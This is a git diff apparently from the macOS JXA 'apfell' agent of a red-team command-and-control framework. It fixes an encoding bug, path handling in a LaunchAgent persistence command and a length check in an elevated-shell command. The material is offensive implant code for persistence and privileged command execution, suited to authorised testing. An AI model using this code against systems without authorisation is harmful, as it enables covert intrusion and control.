diff --git a/Payload_Type/apfell/agent_code/base/apfell-jxa.js b/Payload_Type/apfell/agent_code/base/apfell-jxa.js index 3530f24..b5870e0 100755 --- a/Payload_Type/apfell/agent_code/base/apfell-jxa.js +++ b/Payload_Type/apfell/agent_code/base/apfell-jxa.js @@ -69,8 +69,8 @@ does_file_exist = function(strPath){ }; convert_to_nsdata = function(strData){ // helper function to convert UTF8 strings to NSData objects - var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSUnicodeStringEncoding); - return tmpString.dataUsingEncoding($.NSUTF16StringEncoding); + var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSUTF8StringEncoding); + return tmpString.dataUsingEncoding($.NSUTF8StringEncoding); }; write_data_to_file = function(data, file_path){ try{ diff --git a/Payload_Type/apfell/agent_code/persist_launch.js b/Payload_Type/apfell/agent_code/persist_launch.js index 7a0df5d..631177a 100755 --- a/Payload_Type/apfell/agent_code/persist_launch.js +++ b/Payload_Type/apfell/agent_code/persist_launch.js @@ -42,13 +42,13 @@ exports.persist_launch = function(task, command, params){ if(!fileManager.fileExistsAtPath(path)){ $.fileManager.createDirectoryAtPathWithIntermediateDirectoriesAttributesError(path, false, $(), $()); } - path = $(path.js + "/" + label + ".plist"); - response = write_data_to_file(template, path) + " to " + ObjC.deepUnwrap(path); - let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': ObjC.deepUnwrap(path)}], "completed": true}; + path = path.js + "/" + label + ".plist"; + response = write_data_to_file(template, path) + " to " + path; + let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': path}], "completed": true}; return artifacts } else if(config.hasOwnProperty('LaunchPath') && config['LaunchPath'] !== ""){ - response = write_data_to_file(template, $(config['LaunchPath'])) + " to " + config["LaunchPath"]; + response = write_data_to_file(template, config['LaunchPath']) + " to " + config["LaunchPath"]; let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': config["LaunchPath"]}], "completed": true}; return artifacts } diff --git a/Payload_Type/apfell/agent_code/shell_elevated.js b/Payload_Type/apfell/agent_code/shell_elevated.js index 2a3370d..df3096e 100755 --- a/Payload_Type/apfell/agent_code/shell_elevated.js +++ b/Payload_Type/apfell/agent_code/shell_elevated.js @@ -6,7 +6,7 @@ exports.shell_elevated = function(task, command, params){ if(params.length > 0){ pieces = JSON.parse(params); } else{ pieces = []; } if(pieces.hasOwnProperty('command') && pieces['command'] !== ""){ - if(pieces['command'][command.length -1] === "&"){ + if(pieces['command'][pieces['command'].length -1] === "&"){ cmd = pieces['command'] + "> /dev/null &"; }else{ cmd = pieces['command'];